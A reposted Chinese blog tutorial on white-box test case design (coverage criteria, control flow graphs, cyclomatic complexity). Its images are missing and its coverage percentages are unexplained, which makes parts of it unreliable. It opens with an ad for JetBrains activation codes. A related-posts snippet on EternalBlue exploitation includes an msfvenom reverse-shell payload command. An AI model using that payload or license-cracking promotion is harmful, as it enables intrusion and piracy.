白盒测试的测试用例设计方法

白盒测试的测试用例设计方法一白盒测试的主要技术对简单的程序流程而言,确定程序的路径有多少条可通过:语句覆盖(覆盖率100%);分支(判定)覆盖(覆盖率85%);条件覆盖;分支-条件覆盖;条件组合覆盖;路径覆盖(覆盖率80%)来确定,这也是白盒测试的主要技术。1.1语句覆盖(覆盖率100%)使程序中每个语句至少执行一次1.2分支(判定)覆盖(覆盖率85%)使每个判定的真假分支都至少执行一次1.3条件…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

一 白盒测试的主要技术

对简单的程序流程而言,确定程序的路径有多少条可通过:语句覆盖(覆盖率100%);分支(判定)覆盖(覆盖率85%);条件覆盖;分支-条件覆盖;条件组合覆盖;路径覆盖(覆盖率80%)来确定,这也是白盒测试的主要技术。

1.1语句覆盖(覆盖率100%)

使程序中每个语句至少执行一次
在这里插入图片描述
在这里插入图片描述

1.2分支(判定)覆盖(覆盖率85%)

使每个判定的真假分支都至少执行一次
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

1.3条件覆盖

使每个判定的每个条件的可能取值至少执行一次
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
1

1.4分支-条件覆盖

选取足够多的测试用例,使判断中的每个条件的所有可能取值至少执行一次,同时每个判断本身的所有可能判断结果至少执行一次。
在这里插入图片描述
在这里插入图片描述

1.5条件组合覆盖

所有可能的条件取值组合至少执行一次
在这里插入图片描述
在这里插入图片描述

1.6路径覆盖(覆盖率80%)

在这里插入图片描述

二、白盒测试的辅助技术

对简单的程序流程而言,可通过以上方法确定程序的路径有多少条,但对复杂的程序,必须通过程序的控制流图来确定程序的路径。基本路径法设计测试用例:

1)画出控制流图

控制流图的基本符号:
在这里插入图片描述
将流程图映射成控制流图:
在这里插入图片描述
在控制流图中,每一个圆称为流图的结点,代表一条或多条语句。流图中的箭头称为边或连接,代表控制流

2)计算圈(环路)复杂度

方法1:V(G)=区域数
方法2:V(G)=边数 – 节点数 + 2
方法3:V(G)=判断节点数 + 1
在这里插入图片描述

3)整理基本路径集合

4)导出测试用例

三 实例

在这里插入图片描述

1)画控制流图

在这里插入图片描述

2)计算圈(环路)复杂度

V(G) = 4 + 1,由此得出共5条独立路径

3)整理基本路径集合

4)导出测试用例

在这里插入图片描述

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/182959.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • MS17010原生打法

    MS17010原生打法1、针对入口跳板机已经CS上线但是因为目标所在区域代理出来的流量卡慢、扫描会导致代理隧道崩溃、MSF的17010不成功但是原生利用工具成功的场景。此工具是由最原版调用fb.py那版提取出来的(原生版是最为稳定,并且能利用的版本)。项目地址:https://github.com/TolgaSEZER/EternalPulsemsfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.3.128LPORT=4443-fdll>x

    2022年6月14日
    63
  • COM笔记-QueryInterface函数

    COM笔记-QueryInterface函数客户同组件的交互都是通过一个接口完成的。在客户查询组件的其他接口时,也是通过接口完成的。这个接口就是IUnknown。它在UNKNWN.H头文件定义:如下      InterfaceIUnknown      {           virtualH

    2022年6月16日
    34
  • dstat使用[通俗易懂]

    dstat使用[通俗易懂]1、安装方法一:yum#yuminstall-ydstat方法二:rpm官网下载地址:http://dag.wieers.com/rpm/packages/dstat #wget http://dag.wieers.com/rpm/packages/dstat/dstat-0.6.7-1.rh7.rf.noarch.rpm#rp

    2022年6月15日
    44
  • java获取Date时间的各种方式汇总「建议收藏」

    java获取Date时间的各种方式汇总「建议收藏」1. 常用的时间获取方式public class DateUtils {   /**   * 获取时间戳   * 输出结果:1438692801766   */  @Test  public void getTimeStamp() {    Date date = new Date();    long times = date.getTime();    System.o…

    2022年6月13日
    27
  • 怎么关闭磁盘共享(电脑如何关闭默认共享)

         Windows2000/XP/2003版本的操作系统提供了默认共享功能,这些默认的共享都有“$”标志,意为隐含的,包括所有的逻辑盘(C$,D$,E$……)和系统目录Winnt或Windows(admin$)。   带来的问题:   微软的初衷是便于网管进行远程管理,这虽然方便了局域网用户,但对我们个人用户来说这样的设置是不安全的。如果电脑联网,网络上

    2022年4月11日
    1.1K
  • 企业社交,阿里钉钉向左,企业微信向右

    企业社交,阿里钉钉向左,企业微信向右在企业社交领域里,阿里钉钉和企业微信这两大巨头,正在各自轨道上加速突进,以不同的模式在企业级服务市场引发深刻变化。进击的阿里钉钉截止到2018年底,阿里钉钉上的企业组织达到了700万家以上,也就是说钉钉已经实现了对16%中国企业的覆盖。但进击的钉钉并不满足于此,它在两个方向上发起了新的挑战:一是在巩固原有中小企业市场的基础上,开始向大企业市场延伸;并以全链路数字化办公解决方案为基础,将钉钉从“…

    2022年5月14日
    48

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号